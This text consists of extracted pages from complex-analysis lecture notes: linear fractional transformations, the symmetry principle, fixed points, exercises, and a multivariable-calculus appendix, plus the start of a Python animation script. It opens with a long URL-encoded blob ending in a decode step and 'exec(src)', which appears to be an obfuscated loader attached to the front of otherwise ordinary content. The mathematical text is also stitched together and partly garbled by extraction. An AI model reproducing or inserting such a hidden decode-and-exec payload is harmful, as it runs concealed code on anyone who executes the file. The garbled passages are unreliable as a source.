gpMXk94%2FHj2K7WFc8TZ%2BM%2FUFjICzZv6JaLGkrr2lxgxwUHLNvKZ%2Ft9Yiru0qBqiyXAnLltnisLQxPVZrKfDfvZxnfrjIDe6dBp2oA0arcDNgz9gaCgb4pNrf84ZXmhlKD1YY9EwKGqK2pfRu34hhGaJnRo78pBHUE7O%2Brate9Q4DAwppLHE5rb8HvLRi%2Bw%2FNdDGZucCPwblEQN5u1Iyo6yWXWHdhy20Fpe4vCdRCF5WsvSpEAKXtT71tyr7dukQOsFty9%2BtsORmcT6oVbUeNd2%2FPO9Xjvbyv48izwlgTbS8LtJQH3siZ277d28n5rG%2B%2B39vB%2BcwOz5bbwSwvybgUL8FgCpQHdcPXsdfXYXprRfTXd9vR4TPVDdIRAEgviRVeXIk2HYiE1p5LlkS3cn9D%2F4RH9f98liy9u7iA%2B2iB%2B1N0gXkZamuEiUzNIaNW0tCogPS2DE9ZS1JaiXlHUDQWtt2bhbGGn3aynOcsENmiFvc0A15BomsAUllbYowH3JaqCDPEr0o9znHVGdPs%2BKhY%2BsY2MSq6GtjSlE%2FYITkjKeho0fMRiSpUsxUBSZEXV8zvRky6YZTc9tCwLsbj%2BvzRWK6S89S0f377d4xRLybBvrDMA3a3hB5uhiTJujGC0C%2BgekOdboFimk3aGj1OdoTsWEvVGpWaqrXBrm9nvErzy7y%2Fvu5LNp9vs3FiFxIeBZ8gRdgWHXN%2BwirXqjgrMDVjSmhTgjXmdDP7uyuR9dMvJ4Wzka0%2B7eKDYRO4VPT%2BR9sNKyK43X9YMYrpB8T%2FkPmmSSlRCGuAZ8VoZ7LARmiBP5ZMeRlcnpuay2PkWlYC20O9fIb%2FQmcO%2BBe6UfkE56C5odcNXUhJ89pXLQTht0KjM5zN7Qc4vApK1TSNujnGqoYsr3TrKRV8NGl%2BxzbW72LxGywyCzdlr3%2BF9SlvqK9Skf2cJUrersvewFY9Q3KcbcqvFSVaMULvyJtPdo6sFusuzBzsq3d1tPCRMcQrAQk335tcFaPuq%2BbZ258e%2B3lq36y8%2Bve87TYn29VupTEBC92HPfQQoC43Z7WmbMpaeQlT6iMHJnHGw%2BsbX3rD3%2FTId20t1On36lOSPut7665A92j2yf81HpY0PQcPhGKl9OIwqXWYKCPTQpzvd%2FkFMRoN8SKp%2BVNZUU%2FhUovpDJ2KERf3A%2Bx9oo1Zc%27%29%29.decode%28%29%0Aexec%28src%29


CHAPTER 34. LINEAR FRACTIONAL TRANSFORMATIONS 248

−2.0 −1.5 −1.0 −0.5 0.0 0.5 1.0 1.5 2.0

−2.0

−1.5

−1.0

−0.5

0.0

0.5

1.0

1.5

2.0

w= (1¡ s) z+ s 2i¡ z2i+ z; s= 1:00

every point moves in a straight line from z to 2i¡ z2i+ z

A straight line

−2.0 −1.5 −1.0 −0.5 0.0 0.5 1.0 1.5 2.0

−2.0

−1.5

−1.0

−0.5

0.0

0.5

1.0

1.5

2.0

w=M s(z); s= 1:00

the upper half-plane onto the unit disc with 2i↦ 0 and 0↦ 1

B a path of maps
Figure 34.6 (animated). Half-plane to disc with 2i 7→ 0: 2i−z

2i+z
. A: every point moves in a straight

line from z to f(z). B: the upper half-plane onto the unit disc with 2i 7→ 0 and 0 7→ 1. C: the tiles
on the left deform along the path of B.
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C tiles (Figure 34.6, continued)

34.4 Symmetry and fixed points
Definition 34.11 (Symmetric points). Two points z, z∗ are symmetric with respect to a circle
C(z0, ρ) if

z∗ = z0 + ρ2

z − z0
, (34.12)

that is, if they lie on the same ray from z0 with |z − z0| |z∗ − z0| = ρ2. By convention the centre
z0 and ∞ are symmetric with respect to C(z0, ρ). For a line, symmetry means ordinary mirror
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reflection (and ∞ is symmetric to itself).

Theorem 34.12 (Symmetry principle). Let T be a linear fractional transformation and C a circle
or line. If z and z∗ are symmetric with respect to C, then T (z) and T (z∗) are symmetric with
respect to T (C).

Proof. Step 1: a cross-ratio characterisation. Let z1, z2, z3 be distinct finite points on C. We
claim that z∗ is symmetric to z with respect to C if and only if

(z∗, z1, z2, z3) = (z, z1, z2, z3). (†)

Since ζ 7→ (ζ, z1, z2, z3) is injective on Ĉ, for a given z at most one z∗ satisfies (†); so it suffices
to check that the symmetric point does. Suppose first C = C(z0, ρ) and z, z∗ finite and different
from z0. Put u := z − z0, uk := zk − z0 and u∗ := z∗ − z0 = ρ2/u. On C, uk = ρ2/uk, so

z − zk = ρ2

u∗ − ρ2

uk
= ρ2(uk − u∗)

u∗uk
, z2 − z3 = ρ2(u3 − u2)

u2u3
, z2 − z1 = ρ2(u1 − u2)

u1u2
.

Substituting into the conjugate of (34.8), all the factors ρ2, u∗ and uk cancel, and

(z, z1, z2, z3) = (u1 − u∗)(u3 − u2)
(u3 − u∗)(u1 − u2) = (z∗ − z1)(z2 − z3)

(z∗ − z3)(z2 − z1) = (z∗, z1, z2, z3).

For the pair (z0,∞): taking u = 0 and deleting the factors containing ∞ as in Theorem 34.5,
(z0, z1, z2, z3) =

(u1(u2−u3)
u3(u2−u1)

)
= u−1

1 (u−1
2 −u−1

3 )
u−1

3 (u−1
2 −u−1

1 ) = z2−z3
z2−z1

= (∞, z1, z2, z3), and (†) with z, z∗ exchanged

is its conjugate. If C is a line {p + teiβ : t ∈ R}, reflection is z∗ = p + e2iβ(z − p), and for
zk ∈ C, (zk − p) = e−2iβ(zk − p); hence z − zk = e−2iβ(z∗ − zk) and zj − zk = e−2iβ(zj − zk),
and in the conjugated cross ratio the four factors e−2iβ cancel, giving (†); for z = z∗ = ∞,
(∞, z1, z2, z3) = z2−z3

z2−z1
is real because z1, z2, z3 are collinear.

Step 2. Now let z, z∗ be symmetric with respect to C. By Corollary 34.3, T (C) is a circle or
a line. Choose distinct z1, z2, z3 ∈ C, all finite and with Tzk finite (possible, since at most one
point of C is ∞ and at most one is sent to ∞). By Step 1 and the invariance of the cross ratio
(Definition 34.6),

(Tz∗, T z1, T z2, T z3) = (z∗, z1, z2, z3) = (z, z1, z2, z3) = (Tz, Tz1, T z2, T z3),

and since Tz1, T z2, T z3 are distinct points of T (C), Step 1 applied to T (C) shows that Tz∗ is
symmetric to Tz with respect to T (C).
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z1

z2

z3

z

z ¤

C

pencil of circles
through z and z ¤

the source: fixed

Tz1 Tz2 Tz3

Tz

Tz ¤

the image under Ts

Continue the path to 'a(w) = w¡ a
1¡ ¹aw (34.9), a= z

at every stage Tz ¤  is the point symmetric to Tz in the circle T(C)

T(C):

(Tz ¤ ; Tz1; Tz2; Tz3) =

(Tz; Tz1; Tz2; Tz3) =

jTz ¤ ¡ (the point symmetric to Tz in T(C)) j=

a circle, centre 4.300+51.476i, radius 51.733   (s = 0.061)

-0.3146-0.3034i

-0.3146-0.3034i

0.000000

angle at ■: 90.00°

Figure 34.7 (animated). The symmetry principle, Theorem 34.12. Top (fixed): the unit circle C,
the symmetric points z = 0.35 + 0.45i and z∗ = 1/z̄ (Definition 34.11), and the circles through z and
z∗, all orthogonal to C. Below: their images under a path of LFTs, through the inverse Cayley map
(34.11) (the image of C is a line and Tz, Tz∗ are mirror images) and through φa of (34.9) (Tz = 0
and Tz∗ = ∞). The readouts, computed in every frame, show that Tz and Tz∗ stay symmetric in
T (C) and that the image circles stay orthogonal to T (C).

The symmetry principle is the fastest route to maps like (34.9): to send D to D with a 7→ 0,
note that 0 and ∞ are symmetric in the unit circle, so the point symmetric to a, namely 1/a,
must go to ∞ — which forces the pole to sit at 1/a, giving (34.9) up to a constant.

Proposition 34.13 (Fixed points). A linear fractional transformation T ̸= id has exactly one or
two fixed points in Ĉ. They are the solutions of

cz2 + (d− a)z − b = 0 (34.13)

together with z = ∞ when c = 0.

Proof. T (z) = z with cz + d ̸= 0 rearranges to (34.13), a polynomial of degree ≤ 2; it vanishes
identically only for c = b = 0, a = d, i.e. T = id. (A root z of (34.13) automatically has cz+d ̸= 0:
otherwise cz = −d and (34.13) gives −az− b = 0, so (a, b) and (c, d) would both annihilate (z, 1),
contradicting ad− bc ̸= 0.) If c ̸= 0, (34.13) has degree 2, hence 1 or 2 roots, and ∞ is not fixed
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since T (∞) = a/c ̸= ∞. If c = 0, ∞ is fixed by (34.3), and (34.13) reads (d − a)z = b: it has
exactly one root if a ̸= d (two fixed points in all), and none if a = d, b ̸= 0 (a translation, whose
only fixed point is ∞).

34.5 Exercises
Exercise 34.1. Find the linear fractional transformation with (a) 0 7→ 1, 1 7→ ∞, ∞ 7→ −1; (b)
1 7→ i, i 7→ −1, −1 7→ 1.

Exercise 34.2. Find a conformal map of D onto D with 1
2 7→ 0 and 0 7→ −1

2 .

Exercise 34.3. Find the image of the disc |z − 1| < 1 under w = 1
z

, and verify it against
Theorem 11.3.

Exercise 34.4. Map the half-plane Re z > 0 onto D with 1 7→ 0.

Exercise 34.5. (⋆) Prove that a linear fractional transformation maps H onto H if and only if it
can be written with real coefficients a, b, c, d satisfying ad− bc > 0.

Exercise 34.6. Let T (z) = z

2 − z
. Find its fixed points, and determine the image of the unit

circle and of the unit disc.

Exercise 34.7. Combine Theorem 34.9 with Example 33.9 to write down the solution of the
Dirichlet problem in the upper half-plane, and check that your kernel is 1

π

y

(x− t)2 + y2 .

Exercise 34.8. Compute the cross ratio (z, 0, 1,∞), and deduce that z lies on the circle through
0, 1,∞ (the real line) precisely when it is real. Then compute (−1, 0, 1, i) and use invariance
(Definition 34.6) to decide whether 0, 1, i,−1 lie on a common circle or line. (Four points are
concyclic-or-collinear precisely when their cross ratio is real.)

Exercise 34.9. Show that the matrix correspondence of Theorem 34.2(ii) gives a surjective group
homomorphism GL2(C) → {linear fractional transformations} with kernel the nonzero scalar ma-
trices, so the group is PGL2(C) = GL2(C)/C×. What is the corresponding statement for the
maps preserving H (Exercise 34.5)?

Exercise 34.10. (⋆) Classify the linear fractional transformations by their fixed points: show
that T ̸= id is conjugate, by another linear fractional transformation, either to z 7→ z + 1 (one
fixed point, parabolic) or to z 7→ κz for some κ ̸= 0, 1 (two fixed points). In the second case relate
|κ| = 1, |κ| ̸= 1 to the names elliptic, hyperbolic and loxodromic, and sketch the orbits of a point
in each case.
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Appendix A

Background from Multivariable
Calculus

This appendix collects, with precise statements but without proofs, the facts from calculus of
several real variables that the main text uses. Nothing here is complex analysis; everything here
is assumed known, and the appendix exists so that “assumed known” has a definite meaning.
Throughout, n,m ∈ N, points of Rn are written x = (x1, . . . , xn) and treated as column vectors
when matrices act on them, and |x| =

(∑
k x

2
k

)1/2 is the Euclidean norm.

A.1 Open sets, limits, continuity
Definition A.1 (Balls and open sets). For a ∈ Rn and ε > 0 the open ball is

B(a, ε) := { x ∈ Rn : |x − a| < ε }. (A.1)

A set Ω ⊆ Rn is open if every a ∈ Ω has some B(a, ε) ⊆ Ω; it is a region if it is additionally
nonempty and connected. For n = 2 these are Definitions 5.3 and 5.8 transcribed.

Definition A.2 (Limit and continuity). Let Ω ⊆ Rn, F : Ω → Rm, a an accumulation point of Ω,
and L ∈ Rm. Then limx→a F(x) = L means: for every ε > 0 there is δ > 0 with |F(x) − L| < ε
whenever x ∈ Ω and 0 < |x − a| < δ. F is continuous at a ∈ Ω if limx→a F(x) = F(a). Writing
F = (F1, . . . , Fm) in components, F is continuous iff each Fj : Ω → R is.

A.2 Partial derivatives, the gradient, the Jacobian
Definition A.3 (Partial derivative). Let Ω ⊆ Rn be open, F : Ω → R, and a ∈ Ω. The k-th
partial derivative of F at a is

∂F

∂xk
(a) := lim

t→0

F (a + tek) − F (a)
t

, (A.2)

when the limit exists, where ek is the k-th standard basis vector. We also write Fxk
or ∂kF . In

two variables the notation of the main text is ux, uy.
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Definition A.4 (Gradient). For a scalar-valued F : Ω ⊆ Rn → R whose partials exist at a, the
gradient is the row of partials, regarded as a vector,

∇F (a) :=
( ∂F
∂x1

(a), . . . , ∂F

∂xn
(a)
)

∈ Rn. (A.3)

It is defined only when the target is R (m = 1). For m > 1 the correct object is the Jacobian
matrix below, whose rows are the gradients of the component functions.

Definition A.5 (Differentiability and the Jacobian matrix). Let Ω ⊆ Rn be open and F =
(F1, . . . , Fm) : Ω → Rm. We say F is differentiable at a ∈ Ω if there is a linear map A : Rn → Rm
with

F(a + h) = F(a) +Ah + r(h), lim
h→0

|r(h)|
|h|

= 0. (A.4)

The map A is then unique, is written DF(a), and its matrix in the standard bases is the Jacobian
matrix

DF(a) =



∂F1
∂x1

· · · ∂F1
∂xn

...
...

∂Fm
∂x1

· · · ∂Fm
∂xn


a

∈ Rm×n, (A.5)

whose j-th row is ∇Fj(a). When m = n the number detDF(a) is the Jacobian determinant,
often written JF(a) or ∂(F1,...,Fn)

∂(x1,...,xn) .

a
h

Rn

F

F(a)

DF(a)h

Rm

Figure A.1. Differentiability is the existence of a good linear approximation. Near a the map F agrees
with the affine map h 7→ F(a)+DF(a)h to first order: a small disc about a goes approximately to an
ellipse about F(a), the error being o(|h|). Theorem 14.10 is the statement that for an analytic map
the ellipse is always a circle.

Theorem A.6 (Sufficient condition; the two implications). Let Ω ⊆ Rn be open and F : Ω → Rm.

(i) If F is differentiable at a then all partials ∂Fj/∂xk(a) exist and F is continuous at a.

(ii) If all partials exist on a neighbourhood of a and are continuous at a, then F is differentiable
at a. (If the partials exist and are continuous at every point of an open set, F is called
continuously differentiable, or C1, there, and is then differentiable at every point of it.)

Neither implication reverses: existence of all partials at a point does not give differentiability,
nor even continuity; and a differentiable function need not have continuous partials (for instance
f(x) = x2 sin(1/x), f(0) = 0, is differentiable on R but f ′ is not continuous at 0).

Statement (ii) is exactly the ingredient used in the proof of Theorem 14.6, where it appears
in the explicit increment form (14.6).
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Theorem A.7 (Chain rule). Let G : Ω ⊆ Rn → Rm be differentiable at a and F : Ω′ ⊆ Rm → Rp
differentiable at G(a), with G(Ω) ⊆ Ω′. Then F ◦ G is differentiable at a and

D(F ◦ G)(a) = DF
(
G(a)

)
DG(a) (A.6)

— a product of matrices, of sizes (p×m)(m×n). In the special case of a curve, G = γ : [a, b] → Rn
and F : Rn → R,

d

dt
F
(
γ(t)

)
= ∇F

(
γ(t)

)
· γ ′(t). (A.7)

Theorem A.8 (Equality of mixed partials; Clairaut–Schwarz). If F : Ω ⊆ Rn → R has second
partials ∂2F/∂xj∂xk existing on a neighbourhood of a and continuous at a, then

∂2F

∂xj∂xk
(a) = ∂2F

∂xk∂xj
(a). (A.8)

This is the fact used in Theorem 15.2 to show that u and v are harmonic, legitimate there
because Corollary 21.5 supplies continuity of all partials.

Theorem A.9 (Change of variables). Let Φ : Ω → Φ(Ω) be a C1 bijection between open subsets
of Rn with detDΦ ̸= 0 on Ω, and let g be integrable on Φ(Ω). Then∫

Φ(Ω)
g(y) dy =

∫
Ω
g
(
Φ(x)

)∣∣detDΦ(x)
∣∣ dx. (A.9)
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orange: ©(Qh)
dashed: D©(a) [0; 1]2,
area jdetD©(a)j

Shrink the cell: area ©(Qh) = jdetD©(a)jh 2 ! 1

the parallelogram has area jdetD©(a)jh 2; the curved cell differs from it by o(h 2)

©
#

h = 0.3009

a = (1.5, 0.6)

detD©(a) = 1.2772

area ©(Qh) = 0.11262

jdetD©(a)jh 2 = 0.11565

ratio = 0.9738

Figure A.2 (animated). The idea behind Theorem A.9 with g ≡ 1: area Φ(Ω) =
∫

Ω |detDΦ|, for
Φ(x, y) = (x+ 0.3y2, y + 0.3xy + 0.1x2) on Ω = [0, 3] × [0, 1.5] (top) and its image (below). A small
square Qh at a is mapped to a curved cell that is nearly the parallelogram spanned by DΦ(a)(h, 0)
and DΦ(a)(0, h), of area |detDΦ(a)|h2 (bottom, magnified): the ratio of the two areas tends to 1
as h → 0. Adding up over a grid,

∑
|detDΦ(xij)|h2 tends to the area of Φ(Ω), 5.31 (computed

independently from the boundary curve). This is the standard heuristic; the notes state the theorem
without proof.
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length 1

­

©(­)
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B
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colour of a cell: jdetDHsj at its centre (blue: area shrinks, red: area grows)

0.0 0.2 0.4 0.6 0.8 1.0
s
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4.75

5.00

5.25

5.50

area ­= 4:5

Z
­
jdetD©j

area Hs(­), shoelaceZ
­
jdetDHsj dx, quadrature

s= 1: area ©(­) =
Z
­
jdetD©j dx= 5.3100

each cell's area is about jdetDHsjh 2 (cells A and B); adding the cells gives the total

s = 1.000

area Hs(­), shoelace = 5.3100Z
­
jdetDHsj, quadrature = 5.3100

difference = 0.0000

cell A: area Hs(Q) = h 2 = 1.8157

cell A: jdetDHsj at centre = 1.8166

cell B: area Hs(Q) = h 2 = 0.6757

cell B: jdetDHsj at centre = 0.6766

Figure A.3 (animated). The straight-line deformation Hs(x) = (1 − s)x+ sΦ(x) carries Ω onto Φ(Ω)
(same Φ). Cells are coloured by the local area factor |detDHs| (blue: area shrinks, red: area grows).
At every s the area of Hs(Ω), measured from its boundary, equals

∫
Ω |detDHs| (graph below), and

each outlined cell has area close to |detDHs| at its centre times h2.
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length 1

­= [0; 1]£ [0; 1:2]

length 1

f(­)

f

tiny square
(side h= 0:1), £10

image, £10
angle between sides: 90.0°
side lengths / h: 1.240, 1.240
area / h 2: 1.5401

Analytic f(z) = e z: a tiny square goes to (nearly) a square, turned and scaled
CR (14.1) ,  D~f= jf 0jRµ, µ= arg f 0 (Thm 14.10, Lemma 1.18), so detD~f= jf 0j2 (14.11)

#

centre p = (0.215, 0.732)

(ux; vy) = (0.9227, 0.9227)

(uy; ¡ vx) = (-0.8284, -0.8284)

detD~f(p) = 1.5376

jf 0(p)j2 = 1.5376

u 2x + v
2
x = 1.5376

Figure A.4 (animated). For an analytic map the area factor is |f ′|2. A tiny square travels round
Ω = [0, 1] × [0, 1.2], first under the Φ of the previous figures, whose image is a skewed parallelogram,
then under f(z) = ez, whose image is (nearly) a square, turned by arg f ′ and scaled by |f ′|: by the
Cauchy–Riemann equations (14.1), Df is a conformal matrix and detDf = |f ′|2 (Theorem 14.10).
Tiling f(Ω) by such squares,

∑
|f ′(zij)|2 h2 tends to area f(Ω) =

∫∫
Ω |f ′|2 dA = 0.6(e2 − 1).

A.3 Curves
Definition A.10 (Parametrised curve, arclength). A C1 curve in Rn is a map γ : [a, b] → Rn
with continuous derivative γ ′(t) =

(
γ′

1(t), . . . , γ′
n(t)

)
. It is regular if γ ′(t) ̸= 0 for all t, in which

case γ ′(t) is the tangent vector at γ(t). Its length is

length(γ) :=
∫ b

a

∣∣γ ′(t)
∣∣ dt, (A.10)

and the arclength element is ds = |γ ′(t)| dt. For n = 2 this is Definition 19.6.

A.4 Line integrals of scalar fields
Definition A.11 (Line integral of a scalar field). Let γ : [a, b] → Rn be a C1 curve and let φ be
continuous on its image. The line integral of φ with respect to arclength is∫

γ
φds :=

∫ b

a
φ
(
γ(t)

)∣∣γ ′(t)
∣∣ dt. (A.11)
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Proposition A.12 (Properties). The integral (A.11) is linear in φ, additive under concatenation
of curves, and independent of the parametrisation — including its orientation:∫

−γ
φds =

∫
γ
φds. (A.12)

Taking φ ≡ 1 recovers (A.10). If |φ| ≤ M on the curve then
∣∣∫

γ φds
∣∣ ≤ M length(γ).

The orientation-independence in (A.12) is the sharpest difference from the vector case below,
and from the contour integral of Definition 19.7, both of which change sign.

A.5 Line integrals of vector fields
Definition A.13 (Line integral of a vector field; work). Let V = (V1, . . . , Vn) be a continuous
vector field on a neighbourhood of the image of a C1 curve γ : [a, b] → Rn. The line integral of
V along γ is ∫

γ
V · dr :=

∫ b

a
V
(
γ(t)

)
· γ ′(t) dt =

∫
γ

(
V1 dx1 + · · · + Vn dxn

)
. (A.13)

Physically it is the work done by the force field V along the path.

Proposition A.14 (Properties). The integral (A.13) is linear in V, additive under concatenation,
unchanged by orientation-preserving reparametrisation, and reverses sign under reversal:∫

−γ
V · dr = −

∫
γ

V · dr. (A.14)

Moreover
∣∣∫

γ V · dr
∣∣ ≤

(
max |V|

)
length(γ).

Compare Theorem 19.9 and the ML-inequality (19.15): the contour integral of Chapter 19
behaves like a vector line integral, not like a scalar one.

∫
φds

ds

∫
V · dr

V

Figure A.5. The two line integrals. Left:
∫
φ ds weights each element of arclength by the scalar φ

— reversing the curve changes nothing. Right:
∫

V · dr records only the component of V along the
tangent — reversing the curve flips every tangent, hence the sign.



APPENDIX A. BACKGROUND FROM MULTIVARIABLE CALCULUS 260
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V(x; y) = (0:5¡ y; 0:9)
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0 1 2 3 4
0

1
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3

'

Z
¡γ
'ds so far

= 6:2102

(forwards: 8:5040)

' at the moving point: the area under the graph is 
Z
'ds

0 1 2 3 4
s = arclength from the start of the run

−1

0

1

V
¢T

Z
¡γ
V ¢ dr so far

=¡0:9315
(forwards: 2:1778)

V ¢T at the moving point: the signed area is 
Z
V ¢ dr

Backwards along ¡γ: every tangent T is flipped
' does not see T; V ¢T changes sign (graphs: dashed = forwards)

Figure A.6 (animated). The two line integrals on the curve y = 0.7 sin 1.5x, −2 ≤ x ≤ 2, of the
figure above, with φ = 1.5 + 0.4x+ y2 and V = (0.5 − y, 0.9). A point runs along the curve with its
unit tangent T; the component V · T is drawn green where positive and red where negative. Below,
φ and V · T are graphed against arclength s, and the areas

∫
φds and

∫
V · dr =

∫
V · T ds fill up.

Run backwards, the scalar integral is unchanged, 8.5040 (A.12), while the vector one changes sign,
2.1778 7→ −2.1778 (A.14).

Theorem A.15 (Fundamental theorem for line integrals). Let Ω ⊆ Rn be a region and F : Ω → R
be C1. Then for every C1 curve γ in Ω from p to q,∫

γ
∇F · dr = F (q) − F (p). (A.15)

Consequently
∫

γ ∇F · dr = 0 whenever γ is closed.

Definition A.16 (Conservative field, potential). A continuous vector field V on a region Ω is
conservative if V = ∇F for some F , called a potential. By Theorem A.15, conservative fields have
path-independent line integrals; the converse also holds, by the construction F (x) =

∫
γx

V · dr
along any path from a fixed base point.
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Figure A.7 (animated). Three paths γ1, γ2, γ3 from p to q, with the work along each graphed below
as it accumulates. For the gradient field V = ∇F , F = xy + x (level curves drawn), all three give
F (q) − F (p) = 3.68 and the closed loop γ3 − γ2 gives 0 (Theorem A.15). For the rotating field
V = (−y, x) the same paths give −0.48, −5.66 and 4.76, and the loop gives 10.42, twice the area it
encloses: this field is not conservative (Definition A.16).

Theorem 20.4 is precisely this equivalence, transcribed to contour integrals, with “antideriva-
tive” in place of “potential”.

Theorem A.17 (Green’s theorem in the plane). Let D ⊆ R2 be a bounded region whose boundary
∂D is a finite union of simple closed piecewise-C1 curves, oriented so that D lies to the left. If
P,Q are C1 on a neighbourhood of D, then∮

∂D

(
P dx+Qdy

)
=
∫∫

D

(∂Q
∂x

− ∂P

∂y

)
dA. (A.16)
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The 4 little circulations (fill colour: circulation =area)

compare each 
I

∂S
 with (Qx ¡ Py)(centre)£ area

colour: Qx ¡ Py = 1+ 3
2x¡ y

2  (green > 0, red < 0)

P= y 3

3 ; Q= x+
3
4x

2:   
I

∂D
Pdx+Qdy= 2:6667,   ∬

D
(Qx ¡ Py) dA= 2:6667

squares sum of the little circulations sum of (Qx ¡ Py)(centre)£ area

Figure A.8 (animated). Green’s theorem A.17 by cancellation, for P = y3/3, Q = x + 3
4x

2 on
D = [−1, 1]2, coloured by Qx − Py (green positive, red negative). D is cut into 2 × 2, then 4 × 4,
then 8 × 8 squares; the pieces are pulled apart and run round counterclockwise, each circulation being
about (Qx − Py)× area. Put back, every inside edge is run twice in opposite directions and cancels,
leaving ∂D: the little circulations always add up to

∮
∂D

P dx+Qdy =
∫∫

D
(Qx −Py) dA = 8

3 . Applied
to the two fields in (A.17), the Cauchy–Riemann equations make both double integrals vanish: the
argument of Remark 20.6.

A.6 Dictionary: contour integrals in these terms
Let γ be a contour in C ∼= R2 and f = u + iv continuous on it. Writing dz = dx + idy and
multiplying out, ∫

γ
f(z) dz =

∫
γ

(
udx− v dy

)
︸ ︷︷ ︸

a real vector line integral

+ i

∫
γ

(
v dx+ udy

)
︸ ︷︷ ︸

another one

. (A.17)

So a contour integral is a pair of vector line integrals, one for each of the vector fields (u,−v) and
(v, u). Applying Green’s theorem (A.16) to each and using the Cauchy–Riemann equations (14.1)
makes both double integrals vanish — which is the short proof of the Cauchy–Goursat theorem
sketched in Remark 20.6, valid when f ′ is assumed continuous. Goursat’s Theorem 20.5 avoids
that assumption and therefore avoids Green’s theorem entirely.
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A.7 Exercises
Exercise A.1. Compute ∇F and, where m > 1, the Jacobian matrix DF:

F (x, y) = x2y − y3; F (x, y, z) = exy sin z; F(x, y) = (x2 − y2, 2xy).

For the last one compute detDF and compare with |f ′(z)|2 for f(z) = z2, as (14.11) predicts.

Exercise A.2. Let γ(t) = (cos t, sin t), t ∈ [0, 2π]. Compute∫
γ
(x2 + y2) ds,

∫
γ

V · dr for V = (−y, x),
∫

γ
W · dr for W = (x, y).

Which of V,W is conservative? Find a potential for the one that is.

Exercise A.3. Verify (A.17) directly for f(z) = z and γ the unit circle, by computing the two
real line integrals separately and checking the total against (19.16).

Exercise A.4. Show that V(x, y) =
( −y
x2+y2 ,

x
x2+y2

)
satisfies ∂xV2 = ∂yV1 on R2 \ {0}, yet is not

conservative there. (Integrate around the unit circle.) Relate this to Remark 15.7 and to the
failure of log z to have a global branch.

Exercise A.5. State and verify Green’s theorem (A.16) for P = −y, Q = x on the unit disc, and
observe that it computes twice the area. What is the corresponding statement about

∮
|z|=1 z dz

(Exercise 19.5)?
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"""Conjugation $z\mapsto\bar z$ -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Section 1.3 plate, p. 5-6 (ch01-numbers.tex:285); Remark 1.20(d), p. 10 (ch01:675); Section 2.1, p. 13 (ch02-plane.tex:26); Remark 14.11, p. 73 (ch14:317)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (np.conj(z))
R = 50.0                      # curves are cut beyond this radius
LIMITS = (-1.6, 1.6, -1.6, 1.6)
SUB = 'every point moves in a straight line from $z$ to $\\bar z$'
TITLE = '$w=(1-s)\\,z+s\\,\\bar{z},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'cart', (-1, 1, -1, 1, 9, 9)
AVOID = []
EXTRAS = [('poly([-0.2-0.5j, -0.2+0.5j, 0.3+0.5j, -0.2+0.5j, -0.2+0.1j, 0.15+0.1j], u)', 'k')]
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
